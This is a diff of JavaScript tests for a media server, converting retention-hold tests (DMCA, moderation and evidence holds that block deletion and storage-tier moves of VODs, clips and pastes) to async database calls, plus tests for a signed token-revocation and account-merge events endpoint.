+ VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, 'local') RETURNING id`).run(id, app, `vod ${id}`, name ? file(process.env.VOD_PATH, name, bytes) : null, bytes, duration, recording, clipsOnly);
+ const insClip = async (id, vodId, name) => await raw().prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', ?, ?, ?, 1, 'public', 'ready', 5) RETURNING id`).run(id, vodId, `clip ${id}`, file(process.env.CLIPS_PATH, name, 32));
-// ── An old database: no note column, the first-version triggers ──
-insVod(99, 'vod-live-99-1.webm');
-model.sync('vod', 99);
-raw().exec('ALTER TABLE media_holds DROP COLUMN note');
-for (const t of ['vods', 'clips', 'files', 'pastes']) raw().exec(`DROP TRIGGER IF EXISTS trg_${t}_hold_guard_v2`);
-raw().exec(`DROP TRIGGER IF EXISTS trg_media_objects_hold_guard_v2; DROP TRIGGER IF EXISTS trg_media_objects_hold_delete_v2;
- CREATE TRIGGER trg_clips_hold_guard BEFORE DELETE ON clips WHEN OLD.object_id IS NOT NULL
- AND EXISTS (SELECT 1 FROM media_holds WHERE object_id = OLD.object_id AND released_at IS NULL)
- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;`);
-db.close();
-const cols = db.getDb().prepare('PRAGMA table_info(media_holds)').all().map(c => c.name);
-assert.ok(cols.includes('note'), 'the note column is added to an existing media_holds');
-const triggers = raw().prepare("SELECT name FROM sqlite_master WHERE type = 'trigger' AND name LIKE '%hold%' ORDER BY name").all().map(r => r.name);
-assert.deepStrictEqual(triggers, ['trg_clips_hold_guard_v2', 'trg_files_hold_guard_v2', 'trg_media_objects_hold_delete_v2', 'trg_media_objects_hold_guard_v2', 'trg_pastes_hold_guard_v2', 'trg_vods_hold_guard_v2'],
- 'the first-version guards are replaced');
-console.log('✅ migration: media_holds gains note; the hold triggers are replaced by the clip-aware ones');
+ // ── A VOD from before (its object projected) ──
+ await insVod(99, 'vod-live-99-1.webm');
+ await model.sync('vod', 99);
-// ── Fixtures ──
-insVod(1, 'vod-live-1-1.webm');
-insVod(2, 'vod-live-2-2.webm');
-insVod(3, null, { clipsOnly: 1 });
-insVod(4, 'vod-games-4-4.webm', { app: 'games' });
-insVod(5, 'vod-live-5-5.webm'); // no object yet: the staff route projects it
-for (const id of [1, 2, 4]) model.sync('vod', id);
-insClip(11, 1, 'clip-11.webm');
-model.sync('clip', 11);
-insClip(12, 1, 'clip-12.webm'); // cut from VOD 1, not projected yet
-insClip(13, 2, 'clip-13.webm');
-model.sync('clip', 13);
-const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);
-const clip = (id) => db.get('SELECT * FROM clips WHERE id = ?', [id]);
-raw().prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility, screenshot_path)
- VALUES ('shot1', 'live', 'S', 'screenshot', '', 'text', 'public', ?)`).run(file(dir('pastes/screenshots'), 'shot1.png', 20));
-model.sync('paste', db.get("SELECT id FROM pastes WHERE slug = 'shot1'").id);
+ // ── Fixtures ──
+ await insVod(1, 'vod-live-1-1.webm');
+ await insVod(2, 'vod-live-2-2.webm');
+ await insVod(3, null, { clipsOnly: 1 });
+ await insVod(4, 'vod-games-4-4.webm', { app: 'games' });
+ await insVod(5, 'vod-live-5-5.webm'); // no object yet: the staff route projects it
+ for (const id of [1, 2, 4]) await model.sync('vod', id);
+ await insClip(11, 1, 'clip-11.webm');
+ await model.sync('clip', 11);
+ await insClip(12, 1, 'clip-12.webm'); // cut from VOD 1, not projected yet
+ await insClip(13, 2, 'clip-13.webm');
+ await model.sync('clip', 13);
+ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);
+ const clip = async (id) => await db.get('SELECT * FROM clips WHERE id = ?', [id]);
+ await raw().prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility, screenshot_path)
+ VALUES ('shot1', 'live', 'S', 'screenshot', '', 'text', 'public', ?) RETURNING id`).run(file(dir('pastes/screenshots'), 'shot1.png', 20));
+ await model.sync('paste', (await db.get("SELECT id FROM pastes WHERE slug = 'shot1'")).id);
-const app = express();
-app.use(express.json());
-app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
-app.use('/api/v1/:app/vods', require('../server/vod/routes'));
-app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
-app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
-app.use('/api/v2/:app/objects', require('../server/objects/routes'));
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
+ app.use('/api/v2/:app/objects', require('../server/objects/routes'));
-(async () => {
- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
- const call = (method, p, body, headers = {}) => new Promise((resolve, reject) => {
- const data = body ? JSON.stringify(body) : '';
- const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,
- headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', 'content-length': Buffer.byteLength(data), ...headers } },
- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b ? JSON.parse(b) : {} })); });
- rq.on('error', reject);
- rq.end(data);
- });
- const H = '/api/v1/live/admin/storage/holds';
+ (async () => {
+ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });
+ const call = (method, p, body, headers = {}) => new Promise((resolve, reject) => {
+ const data = body ? JSON.stringify(body) : '';
+ const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,
+ headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', 'content-length': Buffer.byteLength(data), ...headers } },
+ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b ? JSON.parse(b) : {} })); });
+ rq.on('error', reject);
+ rq.end(data);
+ });
+ const H = '/api/v1/live/admin/storage/holds';
- // ── Staff routes: place ──
- let r = await call('POST', H, { vod_id: 1, reason: 'DMCA notice #7 — keep the evidence', kind: 'dmca', note: 'counter-notice window ends Oct 9', placed_by: 'staff:alex' });
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- const hold = r.body;
- assert.deepStrictEqual([hold.kind, hold.placed_by, hold.created_by, hold.note, hold.released_at, hold.object.id, hold.object.legacy_ref],
- ['dmca', 'staff:alex', 'staff:alex', 'counter-notice window ends Oct 9', null, vod(1).object_id, 'legacy:live:vod:1']);
- assert.ok(hold.placed_at, 'placed_at is recorded');
- assert.strictEqual(hold.clips_protected, 2, 'both clips cut from the VOD are protected');
- assert.strictEqual((await call('POST', H, { vod_id: 2 })).status, 400, 'a reason is required');
- assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x', kind: 'whim' })).status, 400, 'known kinds only');
- assert.strictEqual((await call('POST', H, { reason: 'x' })).status, 400, 'a target is required');
- assert.strictEqual((await call('POST', H, { vod_id: 4, reason: 'x' })).status, 404, "another app's VOD is not found");
- assert.strictEqual((await call('POST', H, { vod_id: 3, reason: 'x' })).status, 409, 'a clips-only recording has no object to hold');
- assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x' }, { 'x-ov-user-id': '5' })).status, 403, 'never acting for a user');
- assert.strictEqual((await call('POST', '/api/v1/games/admin/storage/holds', { vod_id: 2, reason: 'x' }, { authorization: 'Bearer games-key' })).status, 404, "games cannot hold live's VOD");
- r = await call('POST', H, { vod_id: 5, reason: 'moderation review' });
- assert.strictEqual(r.status, 201);
- assert.ok(vod(5).object_id && r.body.object.id === vod(5).object_id, 'a row with no object yet is projected, then held');
- assert.strictEqual(r.body.placed_by, 'app:live', 'placed_by defaults to the app');
- const hold5 = r.body.id;
- console.log('✅ staff routes place holds by vod/clip/object id (reason required, app key only, own app only)');
+ // ── Staff routes: place ──
+ let r = await call('POST', H, { vod_id: 1, reason: 'DMCA notice #7 — keep the evidence', kind: 'dmca', note: 'counter-notice window ends Oct 9', placed_by: 'staff:alex' });
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ const hold = r.body;
+ assert.deepStrictEqual([hold.kind, hold.placed_by, hold.created_by, hold.note, hold.released_at, hold.object.id, hold.object.legacy_ref],
+ ['dmca', 'staff:alex', 'staff:alex', 'counter-notice window ends Oct 9', null, (await vod(1)).object_id, 'legacy:live:vod:1']);
+ assert.ok(hold.placed_at, 'placed_at is recorded');
+ assert.strictEqual(hold.clips_protected, 2, 'both clips cut from the VOD are protected');
+ assert.strictEqual((await call('POST', H, { vod_id: 2 })).status, 400, 'a reason is required');
+ assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x', kind: 'whim' })).status, 400, 'known kinds only');
+ assert.strictEqual((await call('POST', H, { reason: 'x' })).status, 400, 'a target is required');
+ assert.strictEqual((await call('POST', H, { vod_id: 4, reason: 'x' })).status, 404, "another app's VOD is not found");
+ assert.strictEqual((await call('POST', H, { vod_id: 3, reason: 'x' })).status, 409, 'a clips-only recording has no object to hold');
+ assert.strictEqual((await call('POST', H, { vod_id: 2, reason: 'x' }, { 'x-ov-user-id': '5' })).status, 403, 'never acting for a user');
+ assert.strictEqual((await call('POST', '/api/v1/games/admin/storage/holds', { vod_id: 2, reason: 'x' }, { authorization: 'Bearer games-key' })).status, 404, "games cannot hold live's VOD");
+ r = await call('POST', H, { vod_id: 5, reason: 'moderation review' });
+ assert.strictEqual(r.status, 201);
+ assert.ok((await vod(5)).object_id && r.body.object.id === (await vod(5)).object_id, 'a row with no object yet is projected, then held');
+ assert.strictEqual(r.body.placed_by, 'app:live', 'placed_by defaults to the app');
+ const hold5 = r.body.id;
+ console.log('✅ staff routes place holds by vod/clip/object id (reason required, app key only, own app only)');
- // ── A held VOD: no delete path works ──
- r = await call('DELETE', '/api/v1/live/vods/1');
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
- r = await call('DELETE', '/api/v1/live/admin/storage/vods/bulk', { ids: [1] });
- assert.deepStrictEqual([r.body.deleted, r.body.results[0].error], [0, 'VOD is under a retention hold']);
- await vodStorage.deleteVodObjects(vod(1));
- assert.ok(fs.existsSync(vod(1).file_path), 'deleteVodObjects keeps held bytes');
- assert.throws(() => db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'row SQL is refused by the trigger');
- assert.throws(() => db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [vod(1).object_id]), /retention hold/);
- // …nor a tier move of any kind (placement is frozen).
- assert.deepStrictEqual([(await vodStorage.moveToCold(1)).held, (await vodStorage.promoteToR2(1)).held], [true, true]);
- raw().prepare("UPDATE vods SET storage_provider = 'r2' WHERE id = 1").run();
- const hot = await vodStorage.moveToHot(1);
- assert.deepStrictEqual([hot.ok, hot.held], [false, true], 'moveToHot refuses too (it would drop the R2 copy)');
- assert.strictEqual(vod(1).storage_provider, 'r2', 'the row is not flipped');
- assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true);
- raw().prepare("UPDATE vods SET storage_provider = 'local' WHERE id = 1").run();
- for (const target of ['local', 'b2', 'r2']) {
- r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target });
- assert.strictEqual(r.body.held, true, `the admin move to ${target} is refused`);
- }
- console.log('✅ a held VOD: every delete path and every tier move (including moveToHot) is refused');
+ // ── A held VOD: no delete path works ──
+ r = await call('DELETE', '/api/v1/live/vods/1');
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
+ r = await call('DELETE', '/api/v1/live/admin/storage/vods/bulk', { ids: [1] });
+ assert.deepStrictEqual([r.body.deleted, r.body.results[0].error], [0, 'VOD is under a retention hold']);
+ await vodStorage.deleteVodObjects(await vod(1));
+ assert.ok(fs.existsSync((await vod(1)).file_path), 'deleteVodObjects keeps held bytes');
+ await assert.rejects(async () => await db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'row SQL is refused by the trigger');
+ await assert.rejects(async () => await db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [(await vod(1)).object_id]), /retention hold/);
+ // …nor a tier move of any kind (placement is frozen).
+ assert.deepStrictEqual([(await vodStorage.moveToCold(1)).held, (await vodStorage.promoteToR2(1)).held], [true, true]);
+ await raw().prepare("UPDATE vods SET storage_provider = 'r2' WHERE id = 1").run();
+ const hot = await vodStorage.moveToHot(1);
+ assert.deepStrictEqual([hot.ok, hot.held], [false, true], 'moveToHot refuses too (it would drop the R2 copy)');
+ assert.strictEqual((await vod(1)).storage_provider, 'r2', 'the row is not flipped');
+ assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true);
+ await raw().prepare("UPDATE vods SET storage_provider = 'local' WHERE id = 1").run();
+ for (const target of ['local', 'b2', 'r2']) {
+ r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target });
+ assert.strictEqual(r.body.held, true, `the admin move to ${target} is refused`);
+ }
+ console.log('✅ a held VOD: every delete path and every tier move (including moveToHot) is refused');
- // ── Clips cut from a held VOD follow its hold ──
- assert.strictEqual(model.isHeld(clip(11).object_id), true, 'the clip object inherits the VOD hold');
- r = await call('DELETE', '/api/v1/live/clips/11');
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
- await vodStorage.deleteVodObjects(clip(11));
- assert.ok(fs.existsSync(clip(11).file_path), 'the clip keeps its bytes');
- assert.throws(() => db.run('DELETE FROM clips WHERE id = 11'), /retention hold/);
- assert.strictEqual(clip(12).object_id, null);
- assert.strictEqual(model.isHeldRow(clip(12)), true, 'a clip with no object yet follows its VOD by vod_id');
- assert.throws(() => db.run('DELETE FROM clips WHERE id = 12'), /retention hold/, 'the trigger covers it too');
- r = await call('GET', `/api/v2/live/objects/${clip(11).object_id}/holds`);
- assert.deepStrictEqual([r.body.held, r.body.holds.length, r.body.inherited_holds.length, r.body.inherited_holds[0].inherited_from],
- [true, 0, 1, vod(1).object_id], 'the v2 holds answer shows the inherited hold');
- assert.strictEqual((await call('GET', `/api/v2/live/objects/${clip(11).object_id}`)).body.held, true);
- assert.strictEqual(model.isHeld(clip(13).object_id), false, "another VOD's clip is not held");
- console.log('✅ clips cut from a held VOD are held (also before they have an object); others are not');
+ // ── Clips cut from a held VOD follow its hold ──
+ assert.strictEqual(await model.isHeld((await clip(11)).object_id), true, 'the clip object inherits the VOD hold');
+ r = await call('DELETE', '/api/v1/live/clips/11');
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
+ await vodStorage.deleteVodObjects(await clip(11));
+ assert.ok(fs.existsSync((await clip(11)).file_path), 'the clip keeps its bytes');
+ await assert.rejects(async () => await db.run('DELETE FROM clips WHERE id = 11'), /retention hold/);
+ assert.strictEqual((await clip(12)).object_id, null);
+ assert.strictEqual(await model.isHeldRow(await clip(12)), true, 'a clip with no object yet follows its VOD by vod_id');
+ await assert.rejects(async () => await db.run('DELETE FROM clips WHERE id = 12'), /retention hold/, 'the trigger covers it too');
+ r = await call('GET', `/api/v2/live/objects/${(await clip(11)).object_id}/holds`);
+ assert.deepStrictEqual([r.body.held, r.body.holds.length, r.body.inherited_holds.length, r.body.inherited_holds[0].inherited_from],
+ [true, 0, 1, (await vod(1)).object_id], 'the v2 holds answer shows the inherited hold');
+ assert.strictEqual((await call('GET', `/api/v2/live/objects/${(await clip(11)).object_id}`)).body.held, true);
+ assert.strictEqual(await model.isHeld((await clip(13)).object_id), false, "another VOD's clip is not held");
+ console.log('✅ clips cut from a held VOD are held (also before they have an object); others are not');
- // ── Finalize and the junk sweep keep held recordings ──
- const finalize = require('../server/vod/finalize');
- insVod(20, 'vod-live-20-0.webm', { bytes: 0, recording: 1, duration: 0 });
- model.sync('vod', 20);
- model.placeHold({ object_id: vod(20).object_id, kind: 'moderation', reason: 'live report', created_by: 'staff:mod' });
- await finalize.finalizeVod(20);
- assert.ok(vod(20) && fs.existsSync(vod(20).file_path), 'a held zero-byte recording keeps its row and file');
- assert.deepStrictEqual([vod(20).is_recording, vod(20).health_status], [0, 'zero_byte'], 'settled as failed instead');
- insVod(21, null, { recording: 1, duration: 0 });
- raw().prepare("UPDATE vods SET file_path = ? WHERE id = 21").run(path.join(process.env.VOD_PATH, 'never-written.webm'));
- model.sync('vod', 21);
- model.placeHold({ object_id: vod(21).object_id, kind: 'evidence', reason: 'x' });
- await finalize.finalizeVod(21);
- assert.deepStrictEqual([!!vod(21), vod(21) && vod(21).health_status], [true, 'missing_file'], 'a held recording with no file keeps its row');
- insVod(22, null, { recording: 1, duration: 0 });
- await finalize.finalizeVod(22);
- assert.strictEqual(vod(22), undefined, 'an unheld empty recording is still deleted');
- // Junk sweep: public, finished, 0:00, no media.
- insVod(23, 'vod-live-23-0.webm', { bytes: 0, duration: 0 });
- raw().prepare("UPDATE vods SET health_status = 'unknown' WHERE id IN (23)").run();
- model.sync('vod', 23);
- model.placeHold({ object_id: vod(23).object_id, kind: 'admin', reason: 'x' });
- insVod(24, 'vod-live-24-0.webm', { bytes: 0, duration: 0 });
- require('../server/vod/health-job').start();
- require('../server/vod/health-job').stop();
- assert.ok(vod(23) && fs.existsSync(vod(23).file_path), 'the junk sweep keeps a held row and its file');
- assert.strictEqual(vod(24), undefined, 'and still removes an unheld one');
- console.log('✅ finalize and the junk sweep settle held empty recordings instead of deleting them');
+ // ── Finalize and the junk sweep keep held recordings ──
+ const finalize = require('../server/vod/finalize');
+ await insVod(20, 'vod-live-20-0.webm', { bytes: 0, recording: 1, duration: 0 });
+ await model.sync('vod', 20);
+ await model.placeHold({ object_id: (await vod(20)).object_id, kind: 'moderation', reason: 'live report', created_by: 'staff:mod' });
+ await finalize.finalizeVod(20);
+ assert.ok(await vod(20) && fs.existsSync((await vod(20)).file_path), 'a held zero-byte recording keeps its row and file');
+ assert.deepStrictEqual([(await vod(20)).is_recording, (await vod(20)).health_status], [0, 'zero_byte'], 'settled as failed instead');
+ await insVod(21, null, { recording: 1, duration: 0 });
+ await raw().prepare("UPDATE vods SET file_path = ? WHERE id = 21").run(path.join(process.env.VOD_PATH, 'never-written.webm'));
+ await model.sync('vod', 21);
+ await model.placeHold({ object_id: (await vod(21)).object_id, kind: 'evidence', reason: 'x' });
+ await finalize.finalizeVod(21);
+ assert.deepStrictEqual([!!await vod(21), await vod(21) && (await vod(21)).health_status], [true, 'missing_file'], 'a held recording with no file keeps its row');
+ await insVod(22, null, { recording: 1, duration: 0 });
+ await finalize.finalizeVod(22);
+ assert.strictEqual(await vod(22), undefined, 'an unheld empty recording is still deleted');
+ // Junk sweep: public, finished, 0:00, no media.
+ await insVod(23, 'vod-live-23-0.webm', { bytes: 0, duration: 0 });
+ await raw().prepare("UPDATE vods SET health_status = 'unknown' WHERE id IN (23)").run();
+ await model.sync('vod', 23);
+ await model.placeHold({ object_id: (await vod(23)).object_id, kind: 'admin', reason: 'x' });
+ await insVod(24, 'vod-live-24-0.webm', { bytes: 0, duration: 0 });
+ await require('../server/vod/health-job').start();
+ require('../server/vod/health-job').stop();
+ assert.ok(await vod(23) && fs.existsSync((await vod(23)).file_path), 'the junk sweep keeps a held row and its file');
+ assert.strictEqual(await vod(24), undefined, 'and still removes an unheld one');
+ console.log('✅ finalize and the junk sweep settle held empty recordings instead of deleting them');
- // ── A held screenshot paste ──
- const shot = db.get("SELECT * FROM pastes WHERE slug = 'shot1'");
- model.placeHold({ object_id: shot.object_id, kind: 'evidence', reason: 'x' });
- r = await call('DELETE', '/api/v1/live/pastes/shot1');
- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
- r = await call('POST', '/api/v1/live/pastes/bulk', { slugs: ['shot1'], action: 'delete' });
- assert.deepStrictEqual([r.status, r.body.done, r.body.skipped], [200, 0, 1], 'bulk delete skips it');
- assert.ok(fs.existsSync(shot.screenshot_path) && db.get("SELECT 1 AS x FROM pastes WHERE slug = 'shot1'"));
- console.log('✅ a held screenshot paste: DELETE answers 409, bulk delete skips it');
+ // ── A held screenshot paste ──
+ const shot = await db.get("SELECT * FROM pastes WHERE slug = 'shot1'");
+ await model.placeHold({ object_id: shot.object_id, kind: 'evidence', reason: 'x' });
+ r = await call('DELETE', '/api/v1/live/pastes/shot1');
+ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.object.held']);
+ r = await call('POST', '/api/v1/live/pastes/bulk', { slugs: ['shot1'], action: 'delete' });
+ assert.deepStrictEqual([r.status, r.body.done, r.body.skipped], [200, 0, 1], 'bulk delete skips it');
+ assert.ok(fs.existsSync(shot.screenshot_path) && await db.get("SELECT 1 AS x FROM pastes WHERE slug = 'shot1'"));
+ console.log('✅ a held screenshot paste: DELETE answers 409, bulk delete skips it');
- // ── Listing and release ──
- r = await call('GET', H);
- assert.ok(r.body.holds.every(h => !h.released_at) && r.body.holds.some(h => h.id === hold.id), 'active holds, newest first');
- assert.strictEqual(r.body.holds[0].id > r.body.holds[r.body.holds.length - 1].id, true);
- r = await call('GET', `${H}?vod_id=1`);
- assert.deepStrictEqual(r.body.holds.map(h => h.id), [hold.id]);
- r = await call('POST', `${H}/${hold.id}/release`, { released_by: 'staff:alex' });
- assert.deepStrictEqual([r.status, r.body.released_by, !!r.body.released_at, r.body.note], [200, 'staff:alex', true, 'counter-notice window ends Oct 9']);
- assert.strictEqual((await call('POST', `${H}/${hold.id}/release`, {})).status, 409, 'a released hold cannot be released again');
- assert.strictEqual((await call('DELETE', `/api/v1/games/admin/storage/holds/${hold5}`, {}, { authorization: 'Bearer games-key' })).status, 404, "another app cannot release this app's hold");
- assert.strictEqual((await call('DELETE', `${H}/${hold5}`)).status, 200, 'DELETE releases too');
- assert.ok(!(await call('GET', H)).body.holds.some(h => h.id === hold.id), 'released holds leave the active list');
- assert.ok((await call('GET', `${H}?all=1`)).body.holds.some(h => h.id === hold.id && h.released_by === 'staff:alex'), 'and stay on record');
- assert.strictEqual(model.isHeld(clip(11).object_id), false, 'releasing the VOD releases its clips');
- assert.strictEqual((await call('DELETE', '/api/v1/live/clips/11')).status, 200);
- raw().prepare('DELETE FROM clips WHERE id = 12').run();
- assert.strictEqual((await call('DELETE', '/api/v1/live/vods/1')).status, 200, 'the VOD can be deleted once released');
- console.log('✅ release by the staff route: on record with released_by/at and the note; deletes work again');
+ // ── Listing and release ──
+ r = await call('GET', H);
+ assert.ok(r.body.holds.every(h => !h.released_at) && r.body.holds.some(h => h.id === hold.id), 'active holds, newest first');
+ assert.strictEqual(r.body.holds[0].id > r.body.holds[r.body.holds.length - 1].id, true);
+ r = await call('GET', `${H}?vod_id=1`);
+ assert.deepStrictEqual(r.body.holds.map(h => h.id), [hold.id]);
+ r = await call('POST', `${H}/${hold.id}/release`, { released_by: 'staff:alex' });
+ assert.deepStrictEqual([r.status, r.body.released_by, !!r.body.released_at, r.body.note], [200, 'staff:alex', true, 'counter-notice window ends Oct 9']);
+ assert.strictEqual((await call('POST', `${H}/${hold.id}/release`, {})).status, 409, 'a released hold cannot be released again');
+ assert.strictEqual((await call('DELETE', `/api/v1/games/admin/storage/holds/${hold5}`, {}, { authorization: 'Bearer games-key' })).status, 404, "another app cannot release this app's hold");
+ assert.strictEqual((await call('DELETE', `${H}/${hold5}`)).status, 200, 'DELETE releases too');
+ assert.ok(!(await call('GET', H)).body.holds.some(h => h.id === hold.id), 'released holds leave the active list');
+ assert.ok((await call('GET', `${H}?all=1`)).body.holds.some(h => h.id === hold.id && h.released_by === 'staff:alex'), 'and stay on record');
+ assert.strictEqual(await model.isHeld((await clip(11)).object_id), false, 'releasing the VOD releases its clips');
+ assert.strictEqual((await call('DELETE', '/api/v1/live/clips/11')).status, 200);
+ await raw().prepare('DELETE FROM clips WHERE id = 12').run();
+ assert.strictEqual((await call('DELETE', '/api/v1/live/vods/1')).status, 200, 'the VOD can be deleted once released');
+ console.log('✅ release by the staff route: on record with released_by/at and the note; deletes work again');
- // ── The v2 route takes a note too ──
- r = await call('POST', `/api/v2/live/objects/${vod(2).object_id}/holds`, { kind: 'admin', reason: 'r', note: 'n' });
- assert.deepStrictEqual([r.status, r.body.note, r.body.placed_by], [201, 'n', 'app:live']);
- console.log('✅ v2 holds: note and placed_by/placed_at on the same table');
+ // ── The v2 route takes a note too ──
+ r = await call('POST', `/api/v2/live/objects/${(await vod(2)).object_id}/holds`, { kind: 'admin', reason: 'r', note: 'n' });
+ assert.deepStrictEqual([r.status, r.body.note, r.body.placed_by], [201, 'n', 'app:live']);
+ console.log('✅ v2 holds: note and placed_by/placed_at on the same table');
- server.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('retention holds: all checks passed');
- process.exit(0);
+ server.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('retention holds: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,72 +8,74 @@ const os = require('os');
@@ -8,72 +8,74 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-revoke-'));
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);
-const express = require('express');
-const { signDeliveryHeaders } = require('openvibe-sdk/events');
-const revocations = require('../server/revocations');
-
-const SUBJECT = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3';
-const at = Date.parse('2026-09-25T12:00:00Z');
-const ev = (over = {}) => ({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3', event_type: revocations.TOPIC, version: 1, source: 'network',
- payload: { subject: { type: 'user', id: SUBJECT }, valid_after: new Date(at).toISOString(), reason: 'signed_out_everywhere' }, ...over });
-
(async () => {
(async () => {
- const app = express();
- // As in server/index.js: mounted before the JSON parser (the signature is over the raw body).
- const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');
- assert.ok(src.indexOf("app.post('/internal/events'") < src.indexOf("app.use(express.json("), 'the events route comes before express.json()');
- app.post('/internal/events', ...revocations.handler());
- app.use(express.json());
- const srv = http.createServer(app);
- await new Promise((r) => srv.listen(0, '127.0.0.1', r));
- const url = `http://127.0.0.1:${srv.address().port}/internal/events`;
- const post = (event, { secret = process.env.MEDIA_INBOUND_EVENTS_SECRET, headers = {} } = {}) => {
- const body = JSON.stringify({ event, seq: 1 });
- return fetch(url, { method: 'POST', body, headers: { 'content-type': 'application/json', ...signDeliveryHeaders(body, secret), ...headers } }).then(async (r) => ({ status: r.status, body: await r.json().catch(() => ({})) }));
- };
- try {
- const old = { subject_id: SUBJECT, iat: at / 1000 - 30 };
- assert.strictEqual(revocations.isRevoked(old), false);
- assert.strictEqual((await post(ev(), { secret: 'x'.repeat(40) })).status, 401, 'forged');
- assert.strictEqual((await post(ev(), { headers: { 'x-forwarded-for': '1.2.3.4' } })).status, 404, 'never through the proxy');
- assert.strictEqual((await post(ev({ source: 'live' }))).body.outcome, 'ignored:source');
- assert.strictEqual(revocations.isRevoked(old), false);
- assert.strictEqual((await post(ev())).body.outcome, 'revoked');
- assert.strictEqual(revocations.isRevoked(old), true, 'older tokens are refused');
- assert.strictEqual(revocations.isRevoked({ subject_id: SUBJECT, iat: at / 1000 + 5 }), false, 'newer ones are fine');
- assert.strictEqual((await post(ev())).body.outcome, 'unchanged', 'a redelivery');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-revoke-'));
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.MEDIA_INBOUND_EVENTS_SECRET = 'm'.repeat(40);
+ const express = require('express');
+ const { signDeliveryHeaders } = require('openvibe-sdk/events');
+ const revocations = require('../server/revocations');
- // network.subject.merged (ADR-029): the folded-in account's objects are the survivor's, once per merge.
- const db = require('../server/db/database').getDb();
- const FROM = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2B4', INTO = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2C5';
- const obj = db.prepare("INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject) VALUES (?, 'live', 'live', 'file', ?)");
- obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2D6', FROM); obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2E7', FROM); obj.run('med_01J8Z3Q4R5S6T7V8W9X0Y1Z2F8', SUBJECT);
- const merged = (over = {}) => ev({ event_id: 'evt_01J8Z3Q4R5S6T7V8W9X0Y1Z2G9', event_type: 'network.subject.merged', payload: { merge_id: 'mrg_01J8Z3Q4R5S6T7V8W9X0Y1Z2H0', from: FROM, into: INTO, merged_at: '2026-09-27T21:00:00.000Z', initiated_by: 'person' }, ...over });
- assert.strictEqual((await post(merged({ source: 'live' }))).body.outcome, 'ignored:source');
- assert.strictEqual((await post(merged())).body.outcome, 'merged');
- assert.deepStrictEqual(db.prepare('SELECT owner_subject AS o, COUNT(*) AS n FROM media_objects GROUP BY o ORDER BY o').all().map((r) => [r.o, r.n]), [[SUBJECT, 1], [INTO, 2]].sort());
- assert.strictEqual((await post(merged())).body.outcome, 'unchanged', 'a redelivery moves nothing');
- assert.strictEqual(db.prepare('SELECT objects FROM subject_merges').get().objects, 2);
- const src = fs.readFileSync(path.join(__dirname, '../server/user-auth.js'), 'utf8');
- assert.ok(/require\('\.\/revocations'\)\.isRevoked\(claims\)/.test(src), 'the site token check consults it');
+ const SUBJECT = 'usr_01J8Z3Q4R5S6T7V8W9X0Y1Z2A3';
